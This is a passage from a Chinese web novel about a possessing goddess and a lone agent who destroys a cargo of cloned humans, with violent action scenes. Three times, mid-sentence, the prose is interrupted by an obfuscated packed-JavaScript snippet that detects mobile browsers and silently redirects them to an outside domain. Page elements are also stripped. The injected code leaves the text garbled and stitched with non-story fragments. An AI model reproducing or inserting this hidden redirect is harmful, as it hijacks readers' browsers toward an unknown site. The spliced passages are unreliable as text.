拿完上层的助燃剂,面具迟疑了一下,从箱子最下方拿出了一条老款手环戴在自己没有手环的另一只手上。 十年时间,亚富科技研制的手环已经可以通过人的手部神经链接逆解脑电波信号实现“心灵感应”般的功能。 不过这种手环目前仅作为特典款售出,不仅定价令普通人望尘莫及,连购买资格也需要向亚富长期支付大量联邦天使点才能获得。为了保证顾客的隐私安全,亚富科技提供了手环外观定制服务。比起可能是手链手镯发绳等各类型的新款手环,老款的手环十分好辩认。 古老的触屏手环配合侧边突出按键,甚至加载投影功能都会卡机。 面具启动了自己吃灰已久的手环。 一串乱码闪过,连带着手环也跟着花屏,亮起一只金色的眼睛,最终化作屏幕上滚轮播放的语句。 「墨隧提示:用户【墨隧委托榜管理员】向您发来私信,请谨慎提防——墨隧委托榜欢迎您的回归,烬土。」 「您当前的委托榜排名为:2,与前一名的积分相差389021分,预计还需要接8395单委托。」 5. 第三场 吾神降临 联邦历300年3月22日17:21 沉金区金街东 通体全白的房间一侧,崭新的电子幕布半垂在地面上。 这种可变色幕布一般被用于个人博主拍摄,能够有效节约布景打光等流程,因而造价不菲。 错落有致的纯色长柱静立在幕布前,两个陶瓷罐子摆在上面。左边的做工明显比右边好得多,只不过两个罐子似乎都才完工不久。 看起来这家主人为了拍摄两个普通的陶艺瓶斥巨资买了顶配设备,这种行为就像用大炮打蚊子一样。 隔壁的工具间内,一个眉眼柔和的女孩子坐在转盘后,低头给陶泥塑形。身侧一台收拾好的仪器断了电,座椅上似乎还留有余温。 这位大小姐满手泥浆,身上、地上却格外干净,动作娴熟一看就是老手。 学期初老师备课教辅器材时问了她一嘴: 新学期啦,伟大的上联区四大家族之首——洛克斐家族,对联邦中心学院提出了崭新挑战! 要求课程兼顾创新性与实用性:说学院作为整个世界最先进的学府,必须要做出示范引领作用。洛克斐每年拨出那么多经费,是希望它有所进步的!到了这个层级,不是把事情做好就可以的巴拉巴拉…… “一天天屁事多!专业课还没学精,形式上倒是花里胡哨!等着底利马动手算啦,正好凑个整三百年华丽落幕!”研究积极心理学的老师如此不积极地讽刺道。 她只当听过就算,随即扯回正题,给了个陶艺的建议。 然后……她就这样被喊来帮忙做示范了。 毕竟可怜的老师还需要完成洛克斐家族制定的科研目标。 大小姐贸然开口,手上动作依旧,就像自言自语:“上次听孟汲学长说第一批仿生人早就运走了,只是昨天才公布提案。为了避免被底利马人破坏,这批货特地提前走的西边水路,在海上漂了几天——都是四大家族误导帮派的手段。” 精美容器的瓶身已经塑好,大小姐停下把手泡进清水池里。 “她是不是……” 门外的角落有什么忽然闪烁一瞬,特摄灯的白光令整个空间呈现出惨白的视觉效果,更使得错觉似的景象可怖。 太累出现幻觉了? 她用力挤了挤眼睛,警惕地探了头。 影子忽隐忽现,像绿藻覆在浑水,飞蚊落在水面泛起密密麻麻的气泡。 超现实的情景让她想到父亲随口提及的“伪神”。 她猛地起身,下意识防备侧身。 “什么人?!” 角落的影子以流体的质感堆积隆起,迅速发展成一堆脸盆大小的影垒。紧接着,低沉的絮语凭空出现在她耳中,那声音混乱又激昂,语调奇怪至极。 可她偏偏能够听懂。 “吾神降临!” “降临!降临!!!” 黢黑的人型流体缓缓从角落的阴影中爬出,一个接着一个。那东西没有面孔,只有流动的黑浆充当头部。随着怪物不断析出,古怪的话语反而逐渐平息。 大小姐忍不住后退两步,甚至顾不上手上陶泥,手就贴到身上,好像这样能让她的体积变小不被人注意。 后退的脚步声在空荡的房子里过于明显。 它们无声无息地扭过头,明明没有眼睛,却如同有无数视线在她身上交汇。 “奉献……你是……容纳者……奉献……吾神降临……” 一只流体向她靠近,率先开口。 她像是还未从恐惧中缓过神,已经彻底被突如其来的莫名灾难冲昏头脑,没有试图拿起任何保命的工具,反而背过手。 “别……别过来!” 背过的左手手心向下伸出食指,悄无声息下压两下。 这个暗号的意思是:等信号动手。 她身后角落里的影子不自然地抽动,如同一个人悄无声息地拱起身子。 眼看稠密的黑色流体就要进入工具间,她迅速转动手腕、向上转手—— “可惜它们没有像你一样学过心理学,否则一定能通过你的表情看出你并不惧怕——哦,我忘记了,它们连眼睛都没有,看不见。” 白发蓝瞳的少女凭空出现,一身白裙飘浮在工具间半空,乍一出现还以为哪来的幽魂,把大小姐吓了一跳。 荧光淡淡描过祂的轮廓,白裙轻曳,圣洁而柔和。 那副洁白无瑕的模样过于美好,让人完全无法将祂和黑色流体联想到一起。 大小姐缓了缓,让自己平静下来,默默握拳。 少女似乎并不在意她的小动作,只是翘着二郎腿,一手托着下巴,笑盈盈地看着自己选定的目标。 “傍晚好呀,能住在金街最东的大小姐,我是神明。那些黑泥实在误会了我的意思,毕竟他们没有脑子嘛,我只是想请你与我会面的。不过幸好,我亲自来啦~一切还不算太晚,对吧?” 大小姐警惕道:“你想做什么直说就好。” “我喜欢你的直接,凡人。”神明凑到她面前,“金钱权力,这些你都有了你不需要,那永生呢?考虑一下,你把你的身体给我,我会实现你的所有愿望!” 联邦金字塔尖的大小姐对永生一词无动于衷,却在祂提到愿望时明显动摇了一瞬。 “你真的能实现我所有愿望?” 神明点头,拉开距离:“当然。” “那我的愿望是什么?” 神明愣住了。 如果不是无人适配自己的灵魂,祂本不愿找上一个住在金街最东的大小姐。这个住所已经说明了一切,除了四大家族,这位金街最东的大小姐已经是联邦最为尊贵的存在了。 上午眼线把这个悲惨的事实告诉她时,她第一反应是不疗伤了!死了算了! ……但生命可贵,她还是觉得应该试试,万一这个人被忽悠愿意了呢。 大小姐自然而然开口:“你可以认为这是考验,否则我如何相信你?” 她等待着神明的回应,但对方只是呆站在原地。 夕阳缓缓转到金街前方,余晖洒落在白净地面上,她的耐心也随之告罄。 就当她皱起眉头准备开口时,神明忽然莞尔一笑。 “好啦好啦,一点希望都没有的事你也能等那么久了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449306|185251||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么不能等等我呢?” 不愧是金街东人,看起来好像很温柔,原来做事这么直截了当。果然,她们金街东人都不好糊弄得很。 大小姐闻言一怔。 “大小姐,我对你刮目相看了。”神明夸张地挤眉弄眼,“底利马被洛克斐打压了三百年,四大家族手握整个联邦命脉,你作为其中一员生来就是享福的命,唯一的愿望竟然是推翻四大家族吗?!” 被点破了心底的秘密,她反而上前一步,抓住神明。 忽略神明惊讶的表情,她紧紧追问:“你能帮我,是不是?就像你说的,你能实现我的愿望,因为你是神明?” 神明像是被她激动的情绪吓了一跳,不满意地抽出透明的手。 “退下!” 她如言退后,一双圆杏眼却死死盯着神明,就像困于大漠的人骤见湖泊。 “我抚慰底利马的人心,麾下招揽了联邦最顶尖的特工……你的愿望在神力面前,并非难事。” 特工吗? 她如释重负地展开一个极淡的笑,手指轻点心脏位置。 “如此……请将我的身体拿去吧。” 明明她的选择正中神明下怀,祂却异常地皱起眉头,声音拔高呵斥了起来:“你知道被我附身是什么下场吗!” 像是看穿神明心底的不可置信,她温柔地注视着对方。 “您是诞生于联邦的神吗,还是来到联邦已久呢?您实在不像我想象中的神明呢。如果只是牺牲我一个人就能够让所有人幸福,那为什么不呢?只有我一个人什么也做不到,至少……您还有我不曾拥有的神力。” 神明瞪大眼睛。 疯子!赌棍!简直不可理喻!世界上怎么会有这种人存在?! “来吧,神明阁下。” 她坦然向前。神明下意识退后一步。 “我……” 大小姐再次向前,脸上带着蛊惑的笑,像厄里斯呈上的金苹果般光鲜亮丽。 “我都知晓,我都接受。神明大人,您不该犹豫的。如果不是没有其他选择,我想您不会选我对吗?既然机会已经呈现在您面前,为什么不接受呢?” 神明颤抖着,看向对方:“告诉我你的名字,我会永远记得你,我……” “痴心,叫我痴心吧。” 痴心像是在怀念什么般看向神明,比起神明畏缩不前,她坦然而平和。 白裙的少女在她的目光中与世上的任何一物都没有区别,像是案台上的泥胚、阳台上的灯带、客厅里的盆栽…… 此时此刻,仿佛她才是一位真正的神明,而非将死的容器。 因为就连落入此世的神明也知道,她所做一切,皆为因不幸苦痛的一片痴心。 “很好!” 泪水涌现,眼前一片模糊。神明吞咽着,把手抵在痴心的额头。 「应因她不顾一切的疯狂感到冒犯,这才是神明该有的态度。」 「应向她展示赐福的力量,而非被洞察非她不可、无处可逃的弱点。」 「应令心性与能力相匹,让她安心——安心奉献自身成为容器。」 6. 第四场 镜像中的多面体 神明恶狠狠咬牙,眼眶通红,极尽傲慢的措辞。 “大小姐,你的爽快令我万分满意,我会奖赏你!来吧!我会尽可能保护你的灵魂,让你亲眼目睹神明之伟力!” 「滴滴哩嗒嗒,嗒嗒啦嗒——」 眼前的画面奶油般融化,纯白的灵魂瞬间漫入她的身体。 人的精神在神明面前,就像露珠不得不独自面对滔天巨浪。痴心感受到她的某种无形却存在的东西,大约类似于灵魂,正伴随着思维全方面的断裂而疯狂振动。 「滴滴哩嗒嗒,嗒嗒啦嗒——」 水滴似的、时钟似的、铃铛似的清脆声音,带着欢欣的律动和走音的旋律响起。 她开始以第三人称的视角看着神明根据她的记忆控制僵硬的身躯。 她们穿过宽敞的客厅,来到卫生间的镜子前。 看着自己温柔美丽的新皮囊,神明居高临下地勾起嘴角,目光淡漠而轻蔑。 “已经很不错了,但它还可以更美。” 「滴滴哩嗒嗒,嗒嗒啦嗒——」 镜中人的面孔融化再重塑,变得更加精致。 她不由自主地举手触碰镜中陌生的自己。 手被半僵抬起,像是属于她的,又像一条只是从躯干延伸出来的条状物。 神明满意出门,从客厅的装饰性书架上取出一本从未被翻开的书,手指微曲扣在书脊上,漫不经心地敲了敲。 “从此文明,只在你指尖。” 「滴滴哩嗒嗒,嗒嗒啦嗒——」 黑色的字母脱离书页,被解构成无数可被分离至最小的单元,虫群一样在她眼前漂浮环绕。 她在自己的体内梦到一片宇宙。 崭新的知识体系和一道自庞大独目投射的目光从高处落下,变成风暴。 无边狂风呼啸而过,灵魂几乎被缭乱的风刃托举到体内宇宙的顶峰,内视的一切瞬间被磅礴白雾掩盖。 “!” “灵魂呵,汝于内宇深处脱胎,又于文明巅峰弥散。 “人子啊,何等脆弱!” 神明语气叹惋地为其念诵挽词,如错眼见到一株花为人采撷折断产生的怜悯,恰到好处且短暂。 「应知那女孩的灵魂承受不住如此庞大的精神冲击,必然彻底消失。」 这是她早已知晓的,并非杀害谁人的图谋。 无边宇宙中,温柔的回声遗留着她倾诉的最后一语。 “神明啊,就请您完成我的心愿……” “我呀……”神明轻嗤一声,“答应了。” 她抱臂站在巨大落地窗前,合上眼迅速过了一遍这具身体的记忆。当她再次从痴心的身体中睁开眼时,脸上所剩的并不是诡计得逞的庆幸,有的只是悲喜交织的自嘲。 如果面具看到神明此刻的表情,一定会认出那是一种怎样的心态。 那是老仆人诉说姊兄时的模样。 上联区摩天大楼在逐渐黯淡的晚霞中纷纷亮起金色灯光,刻意规划的高楼顺着日出日落的方向建落成一条长街,如同人类对随自然起息行为的礼敬。这位无名的容纳者家正对落日①,就连联邦的政治中心也要为了这份瑰丽的享受绕道。对普通人而言完全无法想象的宏伟景象,却是她的日常。 在最后一抹余晖从神明脸上离去之际,神明忽然笑了。 她想到被自己支开到黎港的可怜二把手。 那家伙与这姑娘未免差得太多了。 在无数个对方欣赏日出日落的美妙日子里,她的二把手在卖命送死、接受审讯……这就是底利马和上联的区别。 “哎呀,这么让她去黎港那个麻烦地方我的良心应该有点痛才是。”神明庆幸地拍了拍自己,“还好我没有良心。” 神明眯眼而笑,歪着头盯向远处费可区和底利马交界的位置,尽管上联区和下联区的高楼已经把它挡得严严实实。 以那家伙的效率,这时候应该都快到费可了。晚点回来,她要好好渲染一番这种纸醉金迷的享乐人生——作为激励得力手下的方式。 有点迫不及待见她了。 希望她任务顺利吧,不过不顺利也无所谓。 3月22日16:52费可区黎礁港 深蓝的海面平静至极,海鸟飞过天空,远处小型货船一声短促的声号响起,打舵向右,准备驶入停泊区。一切都是那么稀松平常,连咸湿的海风都显得悠长。 纯黑残影穿过街道,带起猛烈的疾风扬起尘埃。面具趴在摩托上,黑色的头盔、机车服令她几乎与自己的车融为一体。头盔内实时车速比一般型号要快两倍以上,她的手臂、小腿为增加摩擦紧绷,肌肉硬朗的曲线把人搭成一只锋锐的箭,直奔终点。 55分,面具到达装卸区。 海风带起她的发尾小幅度扬落,在黑罗束缚下海风只是带起她的发尾小幅度扬落。长发在搏击中讨不到好处,短发乱动会形成不必要的干扰,用这种特制黑罗绑死最好。 以前神明问她为什么绑黑罗,面具给神明的就是这种理由。 她轻车熟路地观察了一圈周围环境,试图寻找位置条件优异的高集装箱,很快就锁定了自己的目标。 通过错落的集装箱借力反跃,再依靠彪悍的指力臂力把身体拉起。 高难度的行动在面具行云流水的动作下显得轻松异常,她甚至中途抬手启动了手环的拟态模式辅助潜行。 面具悄无声息地落在集装箱上。 尽管从外界看她已经和周围环境色融为一体,她也在移动中尽量规避暴露的风险。 新货入港,随行人员开始卸货。 这是一个特殊信号。 一般黎港的货物都是由港口内部人员协同亚富智械卸运的。 因为对于主掌费可区的孟家而言,城邦最大的港口黎礁港不幸地位于底利马与联邦的交界处。它并非一块撂在原地就自己流油的肥肉,反而是令人头疼的存在。 底利马帮派横行,这里没有下联区舍生忘死地为老爷们遮风挡雨,一切货品运输都得不到保障。 损失肉眼可见,每年被各大帮派抢走的物资都要被孟家的会计骂骂咧咧计入坏账,数额高达惊人的2.86%。 故而,整个黎港的出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449307|185251||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入人力全部被孟家牢牢握在手中,不该出现外人卸货的情况。 而且按着洛克斐和孟家的关系,这批货至少拖半个月才对…… 很快,面具敏锐地注意到卸货员工的异常,那些衣服暗扣上的零件她闭着眼都能摸出来是什么。 78号的特武,如神明所说,这些人是西奥·洛克斐的人。 除非是极重要任务,这种特殊武器不会轻易出库,甚至也只有最高权限的特工才能使用,但现在的黎港竟然一口气聚集了十一个配备这样装备的精英。 联邦到底装了什么东西,能让孟弈和沃尔·洛克斐两个死对头合作,甚至这么周密看管? 越是明白联邦的重视,面具便越平静。 她耐心蹲在集装箱上等人卸货清点,在前同僚清点完拿着单子离开的瞬间,她立刻取出便携激光刀从顶部切开长口,将钢板移到一边。 三具生物机舱整齐排列,面具透过玻璃看到清一色的熟悉面容。 被封在舱内的女人们紧闭双眼,表面皮肤发白,血管清晰可见,那是舱内低温强制休眠导致的。 “原来如此。” 不是仿生机器人,这是用她基因编辑的人造人。 看衣服是费可精英喜欢的那种正装,准备给费可的大公司当领导? 这算是联邦权贵们对她智力水平的认可吗? 面具从兜里掏出定位器丢进集装箱内,将自己刚切下来的钢板挪回原位,一手严丝合缝地对准合实,一手取出钢材专用的树脂速凝胶补合裂缝。她的手又快又稳,期间没有引起清点员丝毫注意。 “下联区78号……” 许多事情是面具到了八九岁大脑发育完全后才开始想并想明白的。 老仆人死后,78号的人手快把她从底利马掳走扔到这个“收留无名无姓孤儿的温馨家庭”里训练。她本以为是78号发现了她的身份,但此后她一路晋升顺利,78号的首领对她青睐有加,她才后知后觉也许因为眼睛的原因,她出生时没有在联邦登记过。 客观来讲,她应当真诚地感谢自己从那个组织学到的一切。 面具借着如法炮制地检查了一遍剩下的七台集装箱。紧随清点员、盲点开口、投入定位器、封箱,速度稳定地令人惊讶,似乎没有受到一丁点情绪的影响—— 情况已经明了,所有集装箱中都是和她长得七八分相似的人造人。 当年西奥忌惮她的能力将她从78号逐出,她还以为一批又一批新人死了又补充,西奥已经把她忘了。如今看人造人的基因选取,看来西奥挺重视她的。至少物尽其用的本领确实出神入化,看得出来西奥是一位优秀的政客。 联邦的四大家族尽是这样的人,她可以理解腐朽的体系为何得以将苟延残喘的必然结局延续为兴兴向荣的假象。 所以如果她当年没有谎称自己的眼睛在任务中受伤,恐怕那时78号就要直接对她动手了吧? 弄完一切,面具看向沉金的方向。 该去汇报了:即将投入底利马的巡警类仿生人。 底利马的帮派不会允许它出现的。 7. 第五场 神与神造物 3月22日18:49沉金区神明地下基地 拱形门前的白袍信徒尽职尽责地拦住了面具,她象征性地摸索了一下面具身上有无危险物品,冲着面具弯腰行礼请她进去。 面具一直很不理解神明这样做的目的,只有走圣堂正门时会有的行为很明显属于形式主义,除了浪费她的时间以外没有任何作用。 但神明非说这是凡人进入圣堂的必要礼敬。 还没等她踏进门,神明的声音已经先一步到了耳边。 “当当!我总算找到了一具合适的容器!来来面具,你看看这具身体,怎么样,你觉得如何?” 声音难得不带着水下沉闷的混响,这会的神明音色温柔,配合小孩似的说话方式有种说不出的诡异。 面具看也没看敷衍道:“恭喜您——黎港的货是上联要试行投放到底利马的巡警类仿生人,与我们无关,我没有动手。” 其实不然,那都是联邦培养的基因战士。 “你不想夸夸我吗,我专门按着你的喜好选的呢~” 平时天天泡在水里的古神遗脉正附身在金街漂亮大小姐身上,一路小跑到面具面前,非要和她打这个招呼。 面具拉上门,终于正眼看了神明一眼。神明笑靥如花,身后海洋馆级别的水族箱里空空如也。 面具将视线在祂身上多停留两秒以示认真,最终冷淡评价道:“是吗?可我不喜欢这种类型,神明大人,我以为您应该知道才是。与其讨论这些没用的东西,不如告诉我您想我做什么。” “真没意思,我明明是第一时间就想着用这副身子来见你呢,你连点反应都不给我。” 神明恢复了常态。 “上联区的人真坏,平常对底利马不闻不问,这种仿生人实验先想起他们了!放就放了,还在新闻里胡说八道骗人。唉,我毕竟答应了这小姑娘完成她的理想——你猜猜她的理想是什么?” “我不关心。” 神明自顾自继续:“她对上联区不满,想创造一个更理想公平的伟梦!天呐面具,你敢相信?!她就住在金街东,挨着上联区的那套最贵的大平层里。她家的窗户正好看日落,可漂亮可漂亮了!除了住在上联区的四大家族外,她不就是最尊贵的那个了吗?面具,人类之中真的会有这么无私的既得利益者呀?” 面具无动于衷地抬脚离开,听祂鬼扯不如回房准备一下晚上要用的装备。 “哎!别走呀。”神明眼看面具一点面子都不给自己留,连忙撒泼耍赖般拉住面具胳膊,“真是的,我毕竟答应了这小姑娘帮她实现理想呢!!!” “所以?” 面具回头,神明只能看见黑罗下永远放平的唇角。虽然声音冷冰冰的,但至少她没有继续离开的意思。 神明理所当然地顺杆下:“所以,这件事与我们有关啦。又是监视又是攻击……你把它毁了。” 面具顿了下,似乎没料到神明会说出这样的蠢话。 “下联区有人盯上我们了,这时候冒头不是明智之举。” “可——” 面具打断了祂:“我可以离开,您还需要时常出现在信徒面前,获取信仰疗伤不是吗,神明大人?” “那……我……” 神明肉眼可见地焦急了起来,面具故意叹了口气。 “底利马在上联区的刻意苛待下,还能逼得他们划出一个下联当缓冲,靠的并不是卖惨。” “你的意思是……哦!那几个帮派!”神明立刻领会了面具未尽的话,“我知道了!我这就把消息给底利马的信徒,帮派知道了就会毁了那些仿生人!” 面具点头。 这样一来她就不用亲自动手了。 对于具有监视和攻击能力的机械,底利马的帮派知道了肯定会将其处理干净。 倒是78号特工配备的装备让她在意,她得拿出时间找人探探洛克斐是不是研制了新武器。 “我会在暗中盯着,确保那批货被清理干净。” “你真……”神明明显放松下来,像是想起什么,祂停顿,语气变得平淡,“你很可靠,面具。” “谢谢。”面具礼貌道,而后玩笑似的开口试探,“我有时会觉得,您过于单纯了。” “人类的争执和欲望太过丑陋,神明之间没有这样的算计。”神明想也没想回答。 面具没有说话。 逻辑通畅。但倘若神明之间没有这样的算计,祂何以受伤来到这个世界。难道神明们只懂得以暴力解决问题?那何以界定神与人的区别,又从何开始区分界定。 假使……她能通过研究模拟出神明的能力…… 就在神明以为面具没事要回屋时,面具忽然问了一嘴:“对了,你怎么忽悠的这具身体的主人让你附身?” 神明啊了一声。 “我……那个……我答应她……把四大家族推翻……” 面具停下脚步,迟疑回头望向扭捏的神明。 ? 谁? 3月23日3:10 凌晨的黎港没了机械作业的杂音,沉默地驻足在圆滑海岸线侧聆海听涛。 几个帮派打手躲在昏暗甬道百无聊赖地放风。 老大早买通安保,有情况那人会装作唱歌壮胆给信息,他们几个也没什么重要事。何况还有不小的海浪声,能在一定程度上掩盖他们鸡毛蒜皮地抱怨。 “狗日的四大家族,没一个好东西。害老子大晚上睡不了觉,跑这儿给人放风!” 第二人冷笑:“气我是没力气生了,能在帮派混口饭就行。熬夜而已,都无所谓,总比送死强。” “不止四大家族的人,连底利马自己都有像何朴这样上杆子投诚的软骨头。咋来的,不就是把咱脊梁压垮了,把底利马踩丫脚下了,一辈子也抬不起头吗?”矮子说。 提到何朴二字,另外两人也激动起来。 “孟家的狗腿!底利马粪坑投进上联区的烂泥——进去就没影儿。顶着底层人的命替那帮孙子干脏活,屁都不敢放一个!点头哈腰的哈巴狗,军备打起老家来倒是不含糊!我呸!” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449308|185251||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 背信弃义、见风使舵、小人得志,呵,还真是什么都占全了——嘘,好像有人。” 三人闭嘴屏息,有脚步声从集装箱另一侧传来,虽然尽可能地变轻,但还是明显越来越近。 嗒、嗒、嗒…… 脚步声混在潮汐声,像死神踏浪而来,三人脸色难看地从腰间取下烙环。 “噗——” 脚步声忽然歇了。海浪伴随着锋刃割开衣料声,他们听到温热的鲜血喷射而出溅在集装箱上,紧接着另一侧传来重物倒地的声音。 全程他们只听到过这一个人的走路声。 矮子正要探头去看情况,立刻被沉稳的男人按下。 密集的交火声一触即发。 弹壳落地的叮当声、混乱的脚步喊骂声、血肉组织飞溅声,三者混合在一起,与间歇的火光形成他们所有的感官画面。 “冲啊!” “仿生人滚出底利马!” 面具蹲在高处把玩着刚从某人身上取下的78号特武,没再对那三人动手。 能量槽满格,可以带回去装箱。 她没有戴黑罗,露着一双金色眼睛居高临下地旁观着帮派和联邦双方交战。 两边人是如此泾渭分明。 帮派明显人数占优且分工明确。一部分人躲在箱子后进行无差别扫射,给负责搬运的同伙打掩护;负责接应的人就在她身后,随时准备开车走人。 相较于帮派粗暴突然的猛攻,78号吃亏不少。他们得到的命令是保护箱子,出手有太多限制。以78号的洗脑水平,他们没人能活着回去。 面具清点了一下场上的情况,一共八个特殊集装箱,被帮派毁了六个,带走两个。 帮派人不算多,但十分钟内,十一个高级特工竟然只剩一个活着,对帮派的战损比只有3。 凭借这么多失误基本可以确定78号现在的状态:人手不足不精,只能靠装备弥补。 集装箱的守卫被干掉,负责搬运的帮派成员立刻开着起重机将两箱人造人运到车上,车门边成员在起重机撤出的瞬间将大门扣死,司机当即脚踩油门冲向北部被扒烂的防护网。 整个过程行云流水,配合默契。 面具没管向北驶离的车辆和78号仅存的那个高级特工。 三大帮派都来了,两箱东西还有的抢,那个特工也不可能从帮派手下活着出来。 今天是她操控情报打了联邦一个措手不及,底利马自己的线人是不会通知他们对这种东西动手的,所以联邦也没有派过多人。 面具跳下集装箱,打开了老款手环明目张胆地向着战场中心走去。 或许洛克斐从一开始防的就是她一个人? 那很可惜了。 “墨隧提示:委托帮第二执行人烬土与您的距离已不足50米,请您谨慎行事,尽量规避与其正面对抗,建议您即刻向北撤离,避免被杀。” 一声突兀的播报如同平地惊雷。 不知是哪个帮派的成员率先尖叫一声:“烬土!!是烬土!!快跑!” 8. 第六场 人与人造物 帮派成员闻言仓皇逃窜,战场迅速被烬土二字清场。 面具一脚踢开人造人的生物舱门,俯下身摸了摸对方的脸庞,对方的体温正在上升,脸色也逐渐变得红润。面具取出刀子刺穿人造人的心脏,鲜红的血液流出,铁锈味萦绕在她鼻尖。 一个箱子里六个人造人,整整36个生物舱,光是搬动箱子就花了不少时间。到最后一个时,那个人造人已经自己推开了破损的生物舱。 西服的工牌上写着:森带券商,亚波。 她一出来就看一个黑衣女人蹲在其他生物舱边举刀解决她的同类。 那人回过头。 照明灯塔惨白的灯光照在她的脸上,露出一双金色的眼睛。 亚波的脸色也变得惨白。她不由得颤抖了起来,连脑海里关于战斗的技能都忘得干干净净。 面具手里还拿着滴血的刀,大步流星地走向她。 灯光将她们的影子拉长,那人影子越来越近,而她影子原地觳觫着,如同一只濒死的飞蛾。 “你……”是我的母亲吗? 亚波没有说出口,那双金色眼睛看到她出现时依旧平静,那并不是看待人的眼神。 母亲并不期待她的到来。 “您一定要杀了我吗!”亚波大声地对着面具开口说道。 她自知自己的战斗能力比不过母亲,但也许还有办法。 她熟知母亲的一切,她继承了母亲的思考水平。 只要让她恻隐,让她认识到她的行为不符合自己信奉的价值观! “即便我什么也没有做错?即便我的诞生与我的本意无关?母亲,我身上留着与您相同的血液,我的心脏仍在有力地跳动,我们有着同样的身体构造,难道这样的我,在您眼里并非人类吗?” 面具默不作声。 亚波看不到她的动摇,只能将这种沉默认定为一种无声地缴械。 “倘若您认可我是人类,又何以轻描淡写地准备夺走我的生命。难道您不曾为您为恶的事实产生过一丝愧疚吗,您不该是这样的人,您不该对手无缚鸡之力的弱者举刀,这难道不是您一直以来鄙弃的吗?” “你是对的,我不应将你视作物品,你的确拥有为人的资格。”面具站定。 亚波的脸上露出劫后余生的欣喜。面具安静地看着,她还是第一次知道自己的脸会有这样的表情。 挺新鲜的。 而后,欣喜若狂的笑容石膏一样凝固在亚波的脸上,接着碎石块般从脸上剥落,露出痛苦的皱面。 面具将插入亚波腹部的刀子拔出。 “为、什么……” 她捂着肚子挡住伤口,汩汩血液从她的指缝流出,而泪水从眼中涌向对她而言堪称崭新的世界。 “感谢你的辩解,你让我从底层逻辑自洽了你们必死的原因。” “什……么……?” 亚波感到耳边一阵嗡嗡作响,她虚弱地看向面具,气若游丝。 面具捞起失力滑倒的亚波让她的头靠在自己肩上,凑到她的耳边轻声说:“你们不是物品,你们是敌人。” 面具说完,将她抱起走向生物舱。 她的身上很暖和,一点也不像她在记忆中看到的那样。 她还以为母亲这样的人连人带心都是冷的。 面具将亚波放进属于她的生物舱,将她开始失温的手放回腹部。 亚波瞪大了眼,她竭力伸手触碰着面具的脸。 “母亲……” 面具没有低头,也没有说话。 “我可以……爱您吗?” “晚安,亚波。” 她无动于衷地撤出了亚波失焦的视线,借助精神链接查看起定位器的位置。 根据定位器的行动轨迹指示,三大帮派已经在不远处开始火并,她只需要趁机把几个人造人解决就可以。 底利马南边都是废墟,没有高楼,只能从外部炸车。 颇具底利马风格的□□就能发挥良好作用了。 面具跨上静音摩托赶往火并位置。 空旷的战场上,整整36具人造人身体,皆双手搭在腹部。 大部分死于沉静的休眠,一人沦陷于安然的爱。 穿过摆设般的破烂电网,景色骤然变得肮脏破旧。 底利马没有路灯,面具为了避免被发现也没开车灯,只打开了头盔的夜视模式。 地面和断墙上凝固着驳杂色块,看不出具体颜色。几乎每隔几步都能隐约看见不同新鲜程度的人体碎片。空气里弥漫着浑浊的硝烟味和一股说不清道不明的臭味,丝丝缕缕从通风口挤入。 这种程度比底利马的提克斯河要差远了,面具习以为常地想。 她向着定位一路疾驰,情绪稳定得像死了一样。越接近定位,惨叫声和叫骂声越明显,金属破空声逐渐从对面传来。 终点位置,无数银色圆环飞跃空中,方向各不相同地向对家施加毒手。 那是底利马的特色武器,烙环。 枪的成本太高,底利马人他们习惯于使用烙环、这种被联邦早早淘汰的武器进行内斗。一旦接触到皮肤,烙环下的毒针就会把毒液注入皮肤下。对于底利马而言,提克斯河的水就是最好的毒,没有什么比烙环更省心的武器了。 面具拨开机车左手边的武器键,斜压加速冲向火并圈中心,支架从后侧弹出,滑道上固定着自制的炸弹。 她猛地向后仰身提臂,指尖拨动固定装置的按钮,爆发的核心力量在接近货车的瞬间将摩托带起。 交火的三方只看到一道残影跃过银白的毒网,而后—— “轰!” 冲天的火光掀起气浪,铁片在烟尘里炸得满天飞。 帮派成员们根本顾不及抢救翻倒在火焰里的货车,尖叫着四处抱头鼠窜逃命。 炽热的烈火点燃了人群的恐惧,忽然有人胡乱尖叫出声。 “烬土!是烬土来了!快逃!” 这一声烬土让其余帮派成员顿时乱做一团。 头目们强撑着底气粗着嗓子喊:“胡说什么!都给我滚回来!烬土三年没出现过了!墨隧提示了吗就烬土!不想要粮食了就跑,我看看哪个小帮派敢要你们!” 成员迟疑着停住。 “看什么看,还不给老子把车里的货抢过、啊——” 一发子弹贴着他的脸颊擦过,磨出一道血痕。 接 